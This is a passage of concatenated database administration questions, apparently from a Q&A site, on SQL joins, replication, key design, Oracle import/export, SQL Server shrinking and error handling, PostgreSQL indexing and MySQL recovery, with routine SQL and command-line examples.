                WHERE DateID='Feb2015' AND employeescore.EmployeeID='1' AND subfactor.FactorID='A1')b
ON a.EmployeeID = b.EmployeeID
OUTER JOIN
(SELECT subfactor.score, DateID, EmployeeID
    FROM employeescore
        LEFT JOIN subfactor
        ON employeescore.SubFactorID = subfactor.SubFactorID
            LEFT JOIN factor
            ON subfactor.FactorID = factor.FactorID
                WHERE DateID='Mar2015' AND employeescore.EmployeeID='1' AND subfactor.FactorID='A1')c
ON b.EmployeeID = c.EmployeeID;

Basically I want to select the averages of the three scores and I want to display the output regardless if one of the joined sub queries doesn't have any records. But I keep getting an error of ('OUTER' is not a valid input for this position).
How can I repair?


texts: MySQL rapid Data Replication from multiple Databases

texts:
I am a Freelance Web Developer but not a Database Administrator at all except basic Database Operations like DML etc. Today I got a client asking me to develop a Web based application but there is a Problems concerning Databases and I don't know what strategy would best suit.

Problem Explanation

My Client got 6 different MS SQL and Oracle databases and all these databases are frequently updated with 3 to 4 seconds each updated with 6 different applications. Now I have to develop a web based single application to show data from all these 6 different databases.

Question

My Problem is that what strategy should I choose for my web based application specially when it's about performance

1) Replicate Database from all these 6 different databases into single MySQL database keeping in mind that these are updated every 3 to 4th second?

2) Or my application should directly access these 6 databases?

My Client says that my web application will be generating many different graphs which sometimes can take 30 seconds to generate single graph.

I would request my honor DBAs that please suggest me what would best suit for my application? My client doesn't want that his current 6 databases get slow down or unresponsive when application is accessing to generate graphs or something like that. Client is willing to let me make my choice to choose from above options. Web application should show the most recent data from database so if I choose to replicate then I will have to replicate every 3rd second.

Please kindly also tell that is it possible to tell database to replicate new data to other database every 3rd second and if yes then will it be resource intensive specially when 6 different database will do the same on single database?


texts: Should I use a compound or surrogate PK in a many-to-many table?

texts:
I have a database:

DROP TABLE IF EXISTS `books`;

CREATE TABLE `books` (
  `isbn` VARCHAR(255) NOT NULL,
  `title` VARCHAR(255) NULL DEFAULT NULL,
  PRIMARY KEY (`isbn`)
) COMMENT 'Books used at this school';

DROP TABLE IF EXISTS `classes`;

CREATE TABLE `classes` (
  `class_id` INT(10) NOT NULL AUTO_INCREMENT,
  `teacher_id` SMALLINT(5) NULL DEFAULT NULL,
  PRIMARY KEY (`class_id`)
) COMMENT 'Classes at the school';

DROP TABLE IF EXISTS `b_c`;

CREATE TABLE `b_c` (
  `isbn` VARCHAR(255) NOT NULL,
  `class_id` INT(10) NOT NULL,
  PRIMARY KEY (`isbn`)
) COMMENT 'Books to classes';

ALTER TABLE `b_c` ADD FOREIGN KEY (isbn) REFERENCES `books` (`isbn`)
    ON UPDATE CASCADE;
ALTER TABLE `b_c` ADD FOREIGN KEY (class_id) REFERENCES `classes` (`class_id`)
    ON UPDATE CASCADE;

The issue I'm having is that I would like to normalize data as much as possible (I don't want multiple entries for the same relationship to be entered into the table b_c), but I would like to only store what data is absolutely pertinent.

My first idea to deal with this is to just create a compound primary key for the b_c table consisting of the fields isbn and class_id which would solve the issue of having duplicate relationships in the table, however, I have heard strong opinions on having a unique identifier for every row in a table like this.  The justification for having a unique identifier for every row seems to be that it's useful to be able to specify a specific row, though I don't see a situation in which this would become useful.  Can someone offer an example?

Another criticism I've heard is that using compound PKs in this way can make JOINs extremely taxing.  Can someone comment on the performance of these two different methods?

The question boils down to "Is it worth it to add an id field to the b_c table or is the use of compound PKs enough to properly represent the relationship between the books and classes tables?

If you have any other comments about the design not directly pertaining to the question, I would love to hear them and thank you in advance for you help.


texts: Oracle12c: Objects attempting to import to original tablespace (despite wanting to remap them)

texts:
I've exported a schema from a DB server (Oracle 12.2.0.1.0) using exp with the following command.

exp USERID=FOO/FOO2019 FILE="D:\app\ORACLE\admin\orcl\dpdump\FOO.dmp" LOG=FOO.log

I now want to import the exact same database into the same environment but with a new user and using different tablespaces. So I created new tablespaces for the user (FOO2), created the user (FOO2). I set the default tablespace for the user to also be FOO2 and only gave the FOO2 user access to the new tablespace. However when I attempt to run the import using the following command.

imp USERID=FOO2/FOO2019 FROMUSER=FOO TOUSER=FOO2 FILE="D:\app\ORACLE\admin\orcl\dpdump\FOO.DMP" LOG="FOO2_implog.log"

I'm getting errors as it's attempting to import the database into the original "FOO" tablespace (which doesn't have enough free space). I've tried a bunch of different things and I'm honestly just baffled now as to how I can get everything importing into my new tablespace.

Any help would be appreciated.

Thanks!


texts:
Do DB permissions flow from primary server to secondary server in SQL log shipping?
If someone wants db read permissions on the secondary, do we grant on primary and the permission flows to the secondary or do we just grant the db permissions directly on the secondary?


texts: Postgresql-12 replication status in recovery mode

texts:
I have postgresql master server and a standby server. The standby will be in recovery mode(ie. will be consuming the wals shipped from the master node). The master will be read/write and the standby will not be able to query until its promoted(DR setup).
I wanted to know the replication status of the standby node(ie. Each wals restored in standby with time to time).
Version - postgresql 12.3
OS - centos 8
recovery.signal
Also is it possible to use streaming replication along with wal file shipping.


texts: The database owner account has been deleted. What impact?

texts:
When I create a database, I have always changed the database owner from me (usually my domain account) to another, either a standard service account used for ownership, or to the usual sa

However, I've just inherited a series of instances where a lot of the databases have been created by another member of staff, who's now left, so naturally his domain account has been deleted.

Didn't run into any issues with this until yesterday when I tried to create a stored procedure on a database that would execute as owner (blindly believing it to be 'sa'). The create failed because the owner didn't exist, so I had no choice but to make an ad-hoc change as the client needed the stored procedure creating.

There are tons of production databases under his name so I want to be both pro-active and change-control savvy.

First question is, what are the potential issues this could cause now or in the future?

Second question, can I safely just change ownership to that of a standard account or 'sa'? Could it, will it, have any weird impact?


texts:
I'm working with SQL Server 2014 Express edition and I want to upload some OpenStreetMaps data.

Data is a 172 Mb XML and it loads ok. The problem is with this script:

UPDATE ways
SET geog4326 = 'LINESTRING(' + STUFF((
SELECT ',' + CAST(CAST(n.Longitude AS decimal(18,9)) AS varchar(32)) + ' ' + CAST(CAST(n.Latitude AS decimal(18,9)) AS varchar(32)) AS [text()]
FROM
ways w JOIN waynodes wn ON w.wayid = wn.wayid
JOIN nodes n ON wn.nodeid = n.nodeid
WHERE wn.wayid = w.wayid
ORDER BY w.wayid, orderid
FOR XML PATH(''), TYPE
).value('/', 'NVARCHAR(MAX)'),1,1,'') +')'

I get an .NET framework Out of memory on SQL Server Management Studio and also running it from SQLCMD.
ways table has 101,393 rows and waynodes has 1,018,575 rows.

Do you know how can I improve this script?

By the way, I get this script from this tutorial.

I have no index and no plan execution. I'm only following the tutorial and I get out of memory error.


texts:
I need to run compaction on a production CouchDB instance, that may not have had compaction run on it before.

If compaction puts too much additional load on the CouchDB instance, is it possible to safely kill the compaction process? If so, how?


texts: Almost Empty Data File is still taking time to Shrink in SQL Server

texts:
I had one file in a filegroup FG1 which was orginally of size 130 GB and almost full. It was having partitioned tables in them. I have moved all the big tables to other filegroup FG2 and now FG1 is having 93.5% internal free space.
Purpose of doing all this was based on below theory:
"when filegroup FG1 was almost full, shrinking was taking too much time. So after moving almost all the data to other filegroup FG2, shrinking of FG1 should be faster."
When I tried to shrink almost entire FG1 with below command it still took 1 Hr 56 Mins to shrink.
DBCC SHRINKFILE('FG1',10240)
Am I missing something that would have made this shrinking more faster? or it is expected to still take it this much of time?
NOTE: I tried DBCC SHRINKFILE(FILEID,TRUNCATEONLY) after moving the data, but unforuntately it didn't help.


texts:
I have always worked with CMSs, but I am trying to get into using frameworks like Laravel and Yii.  My main issue is when working with CMSs, I didn't have to think much about the database design since it was done for me.  I have my plan drawn out on paper, but I am not really sure where to go from here....

I am trying to develop a Craigslist clone, but a little more specific.  I have Googled all over for designs, and this is currently what I have.

However, I want certain categories to have specific fields.  Some categories may have fields in common with other categories, but not all categories are the same.

For example:

    - Categories
      - Electronics
        - Title
        - Type
        - Description
        - Year
      - Furniture
        - Title
        - Type
        - Description
        - Brand
      ....

Those are just two examples, but I have a huge list of Categories and the required fields for each category.

My current plan is to load all of these fields into the ad table.  What effect will this have on performance?  At some point there could be 60 fields attached to the ad table, but only 5-10 may be filled at a time, and the others would be empty/NULL.

What is the best way to go about associating images with ads?  I was thinking to just create an assets folder and create subfolders based on the ad id, and upload images to those subfolders of the corresponding ad id. Something like...

    - Public
      - Assets
        - Images
          - 1 (post id = 1)
            - img001.jpg
            - img002.jpg
          ...

What's the best way to set up this kind of database?  Would sticking to MySQL be best for this? What if I want some states to have certain categories but not others?


texts: DBMS recommandation for C# applications with provides triggers, procedures and if possible free

texts:
I'm here because I need somme advices about the best DBMS to use in my case. Indeed,  I've only studied the theory about the databases. So I don't know a lot about the pratice.

I'm searching after a free DBMS if possible, which provides the following tools :

Trigger/Check
Procedure
View

The database must be adapted to be installed on a hard disk locally. This database will be used by C# applications at first time and so with .NET

Which is the easiest to use according to my case ?

Thank you for any help.


texts: Service Broker - Communication not happening between servers despite ssbdiagnose saying all is well

texts:
I am setting up Service Broker communication between 2 servers, A and B we will call them. I used this article as an example:

http://blogs.msdn.com/b/sql_service_broker/archive/2008/08/26/securing-a-dialog-with-certificates.aspx?Redirected=true

A is SQL 2005, B is SQL 2012. It doesn’t work, and I have not been able to track down a good reason why. What I can see is:

The Profiler on the receiving end doesn’t even show any Service Broker events, indicating nothing is getting to it.

But using ssbdiagnose as below, it says congratulations, you have no errors:

C:\Users\me>ssbdiagnose -level info -E configuration from service ServerAServiceTest -S ServerA -d MyDB to Service ServerBServiceTest -S ServerB -d MyDB on Contract myContract

Microsoft SQL Server 11.0.2100.60
Service Broker Diagnostic Utility
0 Errors, 0 Warnings

Also in the transmission queue, the only thing I see that seems particularly off is ‘to_broker_instance’ is null, though I explicitly specified that info when setting up the route.

Further, no errors are showing up in transmission_status.

Also, SQL Server error logs are shedding no light.

As for firewall issues, well, these are test servers not accessible from the outside so I tried turning the firewalls off altogether.

One thing that is bothersome, I will get these:

An exception occurred while enqueueing a message in the target queue. Error: 15581 State: 7. Please create a master key in the database or open the master key in the session before performing this operation.

I do open the key and these go away. But I shouldn't have to repeatedly open the key everytime I want to do something, should I? I suspect this is part of the problem even though as mentioned the errors go away.

Sorry for the somewhat open question - even some help identifying where to get more informative errors or debugging info would be great. This is new territory for me.


texts:
My question is regarding re-running backup jobs only for those databases for which the job initially when it ran failed due to some reasons, like server reboot, path not accessible, newly created databases, etc.
In our environment, windows patching happens every month. Due to server reboot at this time, backup job fails. Also, sometimes if user creates a new database then a scheduled differential backup job fails.
Is there any way to run the same job but for only those databases which were not backed up earlier?

Please provide your suggestions


texts: InnoDB table vs MEMORY table for a mysql environment with many inserts

texts:
I run my sites all on InnoDB tables which is working really well so far. Now I like to know what is going on in real-time on my sites, so I store each pageview (page, referrer, IP, hostname, etc) in an InnoDB table. There are about 100 inserts per second, and this table is only read once in a while when i'm browsing the logs.

I clean out the table every minute with a cron that removes old items. This leaves about 35.000 rows in that table on average, with a size of about 5MB.

Would it be easier on the server if I were to transfer the InnoDB table to a MEMORY table? As far as I can see this would save a lot of disk IO right? Restarting Mysql would result in a loss of data, but this does not matter in my case.

Question: In my case, would you recommend a Memory table over a InnoDB table?


texts: Why isn't transaction log free space always reused?

texts:
After monitoring the Transaction log files for a while I noticed that some of them sometimes behave in a way I did not expect.

Here are two samples for comparison. All data is based on EXEC('DBCC SQLPERF(LOGSPACE);')

Sample 1: This shows the development of a TL file over time. Orange is the physical file size of the log file. Blue is the ammount of data that is used. The total file size does not increase in the moment where about 26GB of it are used, because the file is empty and there is enough volume to place 26 GB of data inside of it without growing the file.

Sample 2: This other sample shows that the total file size of this TL file has increased at the moment space were required. About 10 Gb of data has been filled into this file, that has had 25 GB total file size. At the same time the file grew 10 GB.

I would have expected that the empty/unused file capacity of the transaction log files always are reused as long as the required ammount of data fits into this space.

So the question is: Why is the empty space allocated by the transaction log file not re-used in sample 2 and instead the file grew again?


texts: Is there a way to determine locks that a given query might apply on SQL objects?

texts:
Consider a simple query, as simple as a select statement:

select * from Teachers where Name like N'%John%'

As soon as I start this query, it finishes. Thus, I get no chance to see sp_who2 to find out what type of lock this query has applied on database objects.

I can inflate this query with transaction statements:

begin transaction

select * from Teachers where Name like N'%John%'

-- Here, I won't commit transaction, thus holding the lock

But frankly, that doesn't seem the proper way for natural locking detection, because I've manipulated the default behavior using transaction statements.

Do we have a tool, like Display Estimated Execution Plan to show us some information about locking of a given query? If not, how can we find out what type of lock a given query can apply on a database, because they get executed TOO fast to be detected.


texts: Why doesn't Oracle expdp create the dump file?

texts:
I'm trying to export a schema from an Oracle 10.2.0.5.0 database. For some reason, when I launch the expdp command, it finishes almost immediately and it only creates the log file, no dump file at all. It must be some silly mistake but I can't figure it out.

This is the command I'm executing on the server (logged in SSH as the Oracle user):

expdp my_user/my_pass@db schemas=my_user directory=my_dir dumpfile=exp.dmp logfile=exp.log

With SYS I get the same result:

expdp \"sys/sys_pass@db as sysdba\" schemas=my_user ...

There is only one database in the server, so I've also tried without the @db part. Same result.

I've checked that my_dir is properly defined and points to an existing filesystem location on the server, with available space (~3.4 GB free) and where the Oracle user can read and write. I've also granted read and write privileges to my_user on my_dir. And I've quadruple-checked that my_user is the correct schema with the tables I want to export.

This is the only output I get, both on the console (except the ;;;) and the logfile:

;;;
Export: Release 10.2.0.5.0 - 64bit Production on Monday, 08 April, 2019 13:27:31

Copyright (c) 2003, 2007, Oracle.  All rights reserved.
;;;
Connected to: Oracle Database 10g Enterprise Edition Release 10.2.0.5.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

And then nothing. No dump file, no errors, no nothing. It just ends.

I've found this page with a few useful (?) queries. v$datapump_job and dba_resumable are empty. There are a few exports in dba_datapump_jobs, all of them with status NOT RUNNING; I don't know for sure because there isn't any "date" field, but I think they are old jobs, they don't change when I launch the expdp command.

What else can I check?

Edit: if I run echo $? immediately after the expdp command, it outputs 1, which according to this page (for Oracle 12c, not 10.2...), means "exit with fatal errors". Yet, not important enough to write them in the logfile?


texts: I am not able to Create partition wizard in SQL Management Studio V18 for Azure SQL

texts:
I want to do horizontal partitioning in my SQL. Some of the tutorials say I need to click the table -> Storage -> Click Partition. something like below.

Issue:
Though, for my case, I am only seeing "Manage compression". I am not seeing "Create partition", In addition, I am not able to see "FileGroups" at the database level.
I am using Azure SQL


texts: SQL Server - TRY/CATCH does not work in certain cases

texts:
How can I write guarded code that invokes the CATCH code block in every expected* case (without doing funky junk like wrapping everything in dynamic SQL)?

For example, this does not work:

Define a SQL Agent job with no steps
Try to start the job inside a TRY/CATCH

BEGIN TRY
    EXEC msdb.dbo.sp_start_job @job_name = 'my_empty_job'
END TRY
BEGIN CATCH
    SELECT [MyError] = 'Error caught: ' + ISNULL(ERROR_MESSAGE(), 'NULL')
END CATCH

  Msg 22022, Level 16, State 1, Line 0
  SQLServerAgent Error: Request to run job my_empty_job (from User xyz) refused because the job has no job steps.

Note that its error severity is 16 so it should not have bypassed the CATCH block. wtf?!?

It also bypasses my CATCH block if the job is busy handling a request (I'm spamming stop and start requests in my testing).

  Msg 22022, Level 16, State 1, Line 0
  SQLServerAgent Error: Request to run job my_simple_job (from User xyz) refused because the job already has a pending request from User xyz.

Related case: invalid linked server reference

P.S. Please do not assume I just want a narrow-scope solution for handling job invocation. I am seeking a generic solution that I can reuse in the future.

P.P.S. I am able to catch the case of trying to start/stop a job which doesn't exist ("The specified @job_name ('missing_job') does not exist."). Why does that behave differently?

*What TRY/CATCH Doesn’t Handle (tl;dr error severities outside the range (10, 20))


texts: What tasks can only sysadmin's do in SQL Server 2000?

texts:
I'm cleaning up permissions on my SQL Server 2000, and I want to verify that a particular account still has sysadmin privileges.
What non-destructive tasks can only sysadmins do that I can use to confirm this?


texts:
I have noticed that some DBAs restart SQL Server very frequently, sometimes even nightly. I believe they do it to free up some memory, or perhaps to speed up queries too. I know that after a restart query plans have to be recompiled, but even including that I wonder if there is a net benefit to this practice.

Is it true that restarting SQL Server daily makes it run faster?


texts: How to properly and effective rename a vaue (column) of a foreign key in both tables?

texts:
I have 2 tables: users and user_statuses. A user status is of type varchar. It's varchar for the purpose of readability and I don't consider using id/int in this case.
CREATE TABLE users(
 --............
 status varchar foreign key references user_statuses(name),
 --.....

The column name in user_statuses is UNIQUE
At some point I may need to rename some the name or names of some statuses in user_statuses table because I haven't decided what to name them and how many of the statuses overall I need.
Question: How would I rename a status name such that it's effective in terms of performance? And in general, how to do it properly in this case?
P.S.
In my real system I have dozens of _*statuses tables and each is subject to have some of its statuses renamed.
Each of the tables that refers to *_statuses ones may have, say, 10M-30M-50M rows. Or up to 100M ones at most.


texts: modelling grocery orders, that can be split into multiple short orders

texts:
I'm trying to figure out the best way of modelling a basic grocery picking system and something has stumped me. In short: how do I represent a single order that can be split into multiple parts / short orders, to be picked by various pickers?

A little more detail:

For those of you in the UK, think groceries via tesco.com, that's exactly what I'm trying to model, albeit far more simple of course. Here’s how it works (massively simplified) from a dotcom back room in Tesco:

A customer places an order: products, quantities, delivery date.

Customer orders are split into trips (around the store or warehouse) based on various criteria, therefore a single order can be a single trip (rare) or many trips.

A member of staff picks an order (or part of) via a trip. Another member could be picking for the exact same order, just a different part of it. When picking a trip, you can be picking for multiple orders at once, one huge order, two normal orders and a larger one. Real world example: Six trays on a picking trolley, each tray is a single customer order (or part of) and it’s possible for more than one tray to be part of the same order, so items can be mixed between the two. You could have six different customers, or 1 customer across 5 trays and another separate customer. Any mix.

I can handle the makeshift splitting rules, what I can’t wrap my head around, is how to represent the split orders in a simple database. I've attached an image of what I think it should be like.

This is all for fun on my part. I'm just trying to build a mock ’enterprise’ .NET app as a learning experience. There’s a million ideas I have that I can add to this that would be great to show off, alas database design is a massive slog for me.

Any ideas how I would tackle this? I've googled warehouse picking, online shopping and all the rest. It's either not what I need, or way too complex. I really want to start writing some code.


texts: Need help trying to run a batch file from a SQL Agent job

texts:
I am trying to run a batch file from a SQL Agent job. This batch file is a connection command and script file that will run. I can run the the actions straight from Command Prompt, but I need it to be fired from a SQL Agent job for the automation of it.

Every time I try to fire it off I get these errors:

"The system cannot find the file specified"

When I set the command up, I am using the GUI in the Jobs area and using the 'Open' button and then navigating to the proper file. I have also tried changing the Services from the NT user to a Local Admin user, but still had the same end result.


texts:
I have a PostgreSQL table with a timestamp field processed. I run a lot of queries like this:

SELECT blah1, blah2 FROM tbl WHERE processed IS NOT NULL

According to this question, I can create a partial index like this to speed this up:

CREATE INDEX idx_tbl_processed
    ON tbl (processed)
    WHERE processed IS NOT NULL;

My question is, with this partial index, wouldn't the database have to look up rows with processed not null (which is not fully indexed, so must be slow) before it gets to the indexed part of the table (which in this case is processed itself!)?

In general, does a partial index conditioned on some_column make queries on some_column itself faster?


texts:
We backup a database daily with mysqldump using the following options:

--quick --hex-blob --lock-tables --skip-extended-insert  --flush-logs --max_allowed_packet=500M

Each database gets its own directory and that directory has a .sql file for each table in the database.

I recently tried to do a test restore and I get the following error over and over for each table in the .sql file I try to import:

  ERROR 1017 (HY000): Can't find file: './WhateverTableIQuery.frm'
  (errno: 13)

The .frm files are indeed on the source machine but all I'm getting in the backup is tarballs of .sql files.

Am I doing the backup wrong or the restore wrong?


texts: Is GROUP BY select-list-ref less optimized than GROUP BY colname?

texts:
Just wondering if GROUP BY 1 is slower than GROUP BY col?

SELECT x, count(x)
FROM foo
GROUP BY 1;


texts: Identity column value falling behind randomly

texts:
We are having a strange intermittent issue where the identity column value falls behind the MAX(ID) for the table.

Each customer gets their own table that stores statistics to the tune of [dbo].[Stat_customer1], [dbo].[Stat_customer2], etc.

Randomly, one of these tables' identity values will fall behind, stopping any inserts from happening and we have no idea why.

Here's one example:

DBCC CHECKIDENT ('[dbo].[Stat_customer1]', NORESEED);
GO

Checking identity information: current identity value '43487', current column value '52012'.
DBCC execution completed. If DBCC printed error messages, contact your system administrator.

SELECT MAX(ID) FROM [dbo].[Stat_customer1]

52012

To repair this we then do:

DBCC CHECKIDENT ('[dbo].[Stat_customer1]', RESEED, 52012);
GO

Checking identity information: current identity value '52228', current column value '52228'.
DBCC execution completed. If DBCC printed error messages, contact your system administrator.

We have about a thousand of these tables on average per SQL server.  This will only occur on one random table, not all of them.  It does not happen every day.  Sometimes a week goes by with no issue.

Data is imported to these tables every five minutes by an application that performs a bulk insert.  Every night, a SQL job is executed that rolls up statistics by date.  E.g. anything over a month old is summed up by month, anything over a year old is summed up by year.

During this time, the application pauses importing data so no new data is imported during the roll-up.  Data is read out of table into a temp table and is aggregated as it is being read out.  We then delete the old data from the table and insert the new aggregated data from the temp table.

We are not sure if it is the bulk insert or the statistics roll-up that is causing the issue.

This issue started popping up after we upgraded from SQL 2008 R2 to SQL 2012 and virtualized the server.

Does anyone have any clues as to why this is happening?


texts: What is the most performant way to group by and join high cardinality columns in column based table?

texts:
I currently have a SQL Server, 20 column fact table that could grow even wider into the hundreds. The current row count is about 9 million records. The indexing strategy is currently row-based. The query joins to every lookup table totaling about a dozen joins (most columns in the table are FKs). This is an analytical table that is generated nightly. Query filters are ad hoc so row-indexing most permutations is not feasible. I would like to explore removing these joins and using a columnstore index, since for the most part, only a handful of filter columns will be specified per query request.
Given I have three tables:
Table 1: SomeFactTable (~9 million records)
| Column         | Description          | Cardinality                   |
| --------       | --------------       | --------------                |
| Id             | int32 PK             | Unique                        |
| Timestamp      | datetime, non-null   | medium                        |
| LookupTableA_ID| int32, non-null, FK  | Medium-high (40k records)     |
| LookupTableB_ID| int32, non-null, FK  | Low (dozens records)          |
| NumberA        | int32, non-null      | Very high (8 million records) |

Table 2: LookupTableA (~40,000 records)
| Column      | Description            | Cardinality    |
| --------    | --------------         | -------------- |
| Id          | int32 PK               | Unique         |
| Description | varchar(255), non-null | high           |

Table 3: LookupTableB (~50 records)
| Column      | Description            | Cardinality    |
| --------    | --------------         | -------------- |
| Id          | int32 PK               | Unique         |
| Description | varchar(255), non-null | high           |

I have two questions.

How can I combine the benefits of a columnstore index with also grouping on the high cardinality NumberA column?

For example, given this query, it performs in about 100ms (which is great!). If I uncomment the group by NumberA, then the performance degrades to ~900ms (good, but I'd like to do better).
SELECT
  max(Id) Id
  ,[Timestamp]
FROM
  [dbo].[SomeFactTable]
group by
  [Timestamp]
  --,NumberA
ORDER BY
  [Timestamp] ASC
OFFSET 500 ROWS FETCH NEXT 20 ROWS ONLY

Most of the time I need to order by one or more of the lookup tables which requires a join. Sometimes these tables have many records (e.g. LookupTableA) and sometimes they only have a handful (e.g. LookupTableB). When there are many records, then the performance degrades. When there are only a handful, then the performance does not degrade. How can I maintain high performance when the table has many records?

As an example, this is a join with medium cardinality. It also has the high cardinality column from question 1. The query returns in about 2,900 ms.
SELECT
  max(SomeFactTable.Id) Id,
  [Timestamp],
  [Description]
FROM
  dbo.SomeFactTable
  INNER JOIN dbo.LookupTableA ON SomeFactTable.LookupTableA_ID = LookupTableA.Id
group by
  [Timestamp],
  [Description],
  NumberA
ORDER BY
  [Description] ASC,
  [DateAbsent] ASC
OFFSET 500 ROWS FETCH NEXT 20 ROWS ONLY

This is a join with low cardinality. It also has the high cardinality column from question 1. The query returns in about 1,000 ms (and returns even much faster if NumberA wasn't grouped).
SELECT
  max(SomeFactTable.Id) Id,
  [Timestamp],
  [Description]
FROM
  dbo.SomeFactTable
  INNER JOIN dbo.LookupTableB ON SomeFactTable.LookupTableB_ID = LookupTableB.Id
group by
  [Timestamp],
  [Description],
  NumberA
ORDER BY
  [Description] ASC,
  [DateAbsent] ASC
OFFSET 500 ROWS FETCH NEXT 20 ROWS ONLY


texts: Postgresql pgAdmin, count(*), max(pk_field) giving inconsistent results

texts:
I am running postgresql 9.3.4 on a Centos 6.5 server as a back end for a web app which I am currently load testing.

Presently, if I visit the state table in pgAdmin, right click on "count", I get a value of 7535871

If I run select count(*) from state in the sql window, I get the value of 35871

The state_id column is the primary key and incremented for each row, running select state_id from state order by state_id DESC limit 1 gives the value 7537276

If I run select max(state_id) from state, I get the result 537276

Can anyone explain where all these discrepancies lie, or have I just got a very corrupt database? The load testing was hammering the database, so I wouldn't be massively surprised if there was corruption, however it is a worrying prospect so I need to first ascertain if there is another explanation.

Many thanks

EDIT

A Friend has suggested that on insert ignores/replace into type queries, the PK might update despite no new rows. You would assume the pgAdmin would account for this, and the function that adds rows to this table performs a simple insert into, so I'm not convinced. However, I would be interested in seeing if there are any gaps in the primary key field. Suggestions as to best do this are welcome, although I realise that is effectively a different question.


texts: Fastest way to get current user's OID in Postgres?

texts:
I am thinking of storing the user's OID in the "owner" column of a table, so I don't have to do anything if they change their username.

I understand one can use pg_has_role() with OIDs, so that's good.

Is there a fast and easy way to get the current user's OID without just matching it against one of the system tables?


texts: Subquery in INSERT works in SQL but not PDO

texts:
I want to insert a new dataset into a MySQL table tab with external data, but also with data from another table otherTab using the others' table primary key and another condition. However, it could be that the requested row simply does not exist (anymore) or the result set is empty due to a mismatch in the other supplied data. All columns are forbidden to be NULL.
My first attempt was:
INSERT INTO tab (id, extid1, extid2, value)
SELECT 1,
       (SELECT id FROM otherTab WHERE id = 12 AND data = 'TXT'),
       (SELECT id FROM otherTab WHERE id = 34 AND data = 'JPG'),
       1234

but the problem with it is that a returned empty result set is cast to the type of the column in tab, leading to a 0 as entry data.
The query shall be efficient and avoid unnecessary querying. This is how I achieve it with four subqueries:
INSERT INTO tab (id, extid1, extid2, value)
SELECT 1,
       (SELECT id FROM otherTab WHERE id = 12 AND data = 'TXT'),
       (SELECT id FROM otherTab WHERE id = 34 AND data = 'JPG'),
       1234
WHERE EXISTS (SELECT id FROM otherTab WHERE id = 12 AND data = 'TXT')
  AND EXISTS (SELECT id FROM otherTab WHERE id = 34 AND data = 'JPG')

Is this, or a JOIN, or a transaction with a temporary variable and IF construct the only option?
I tried with other constructs, e.g. (SELECT IFNULL(SELECT id FROM otherTab WHERE id = 12 AND data = 'TXT', NULL)) to enforce NULL or even a string into the target column, but it also gets casted to a 0 or some value instead.
EDIT
Here is the code for dbFiddle:
code
CREATE TABLE `tab` (
  `id` int NOT NULL,
  `seUuid4` binary(16) NOT NULL,
  `rxUuid4` binary(16) NOT NULL,
  `text` varchar(16)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;

CREATE TABLE `otherTab` (
  `uuid4` binary(16) NOT NULL,
  `lgUuid4` binary(16) NOT NULL,
  `data` varchar(16)
) ENGINE = InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;

ALTER TABLE `otherTab`
  ADD PRIMARY KEY(`uuid4`);
ALTER TABLE `tab`
  ADD CONSTRAINT `tab_ibfk_1` FOREIGN KEY (`rxUuid4`) REFERENCES `otherTab` (`uuid4`) ON DELETE RESTRICT ON UPDATE RESTRICT,
  ADD CONSTRAINT `tab_ibfk_2` FOREIGN KEY (`seUuid4`) REFERENCES `otherTab` (`uuid4`) ON DELETE RESTRICT ON UPDATE RESTRICT;

INSERT INTO `otherTab` (uuid4, lgUuid4, data) VALUES
(UNHEX("22224444aaaa49c782408b2fe8c4dee0"), UNHEX("00001234aaaa4444aaaa432187654321"), "JPG"),
(UNHEX("11113333aaaa49c782408b2fe8c4dee0"), UNHEX("12340000bbbb6666bbbb432187654321"), "TXT");

INSERT INTO tab (id, seUuid4, rxUuid4, text)
SELECT
    1,
    (SELECT uuid4 FROM otherTab WHERE lgUuid4 = UNHEX('00001234aaaa4444aaaa432187654321') AND data = 'JPK' LIMIT 0,1),
    (SELECT uuid4 FROM otherTab WHERE lgUuid4 = UNHEX('12340000bbbb6666bbbb432187654321') AND data = 'TXT' LIMIT 0,1),
    'some text'

This interestingly works exactly as expected. I verified my code (PHP - I know..) and the PDO prepared statement fires out exactly the same command, but it gets inserted as INSERT INTO tab (id, seUuid4, rxUuid4) VALUES (1, 0x00000000000000000000000000000000, 0x00000000000000000000000000000000, 'datatext'); while the SQL client and phpMyadmin deliver the expected cannot insert null error message.
I am off to check the PDO options - sorry for the confusion :-)
EDIT2: changed the title name and will leave it open if someone has an idea by chance. Otherwise, I will ask the PHP/PDO experts.


texts: Create a table based on a table depending on the values in the initial table column

texts:
I have a table like:

+----+--------+----------------+
| id |  name  |    address     |
+----+--------+----------------+
|  1 | Ivan   | Moscow,Moscow  |
|  2 | Petr   | Samara,Samara  |
|  3 | Grigor | Moscow,Korolev |
+----+--------+----------------+

How can I create a new table (or view) from this table, so that if the 'address' column contains the different values on the sides of the separator, insert two rows into the new table with all other data using Oracle PL/SQL? For this example the result should be:

+----+--------+---------+
| id |  name  | address |
+----+--------+---------+
|  1 | Ivan   | Moscow  |
|  2 | Petr   | Samara  |
|  3 | Grigor | Moscow  |
|  3 | Grigor | Korolev |
+----+--------+---------+


texts: Split a string into multiple rows and get the count for each of them

texts:
I have a table "Production Database" in Server. I am using MS Access as a front end interface. I have some forms there. I want to create a query which will split records in "Reviewer" column and give me count for each of them. below is an example of the column, how it looks like

Reviewer
-----------------------
Person1,Person2,Person5
Person3,Person1
Person4

Please help. Thanks in advance


texts: Is it possible to take same copy of mysql database in another instance(periodically) in the same server?

texts: My current mysqldb is slow due to more data. So we are planning to take a copy of production db into another instance in the same server and redirect all the select queries to that instance without affecting the production one. Is it possible we can syncronize all the changes from the prodcution to the second instance periodically in the same server ?


texts: How to Recover an InnoDB table whose files were moved around

texts:
So I have a test db server that was setup on a replication stream.  Over the name an optimize came through that quickly filled up the space on the slaves datadir.  Mysql dutifully was just waiting for some more space.

This datadir is a file system used ONLY as mysql's datadir so there wasn't anything else to free up.

I had a 4 gig innodb test table that wasn't part of the replication stream so I figured I'd try something to see if it'd work, and being a test environment I wasn't too worried if things went horribly wrong.

Here's the steps I took

Flushed the table I was about to move
Placed a read lock on it (even though nothing was writing to it and it wasn't in the replication stream)
Copied the .frm and .ibd over to a filesystem w/ some spare room
Unlocked the table
Truncated that table - this freed up enough space for the optimize to finish have replication start chugging along again.
Stop slaving/shutdown mysql
Copy the file out of tmp back to the data dir
Restart mysql

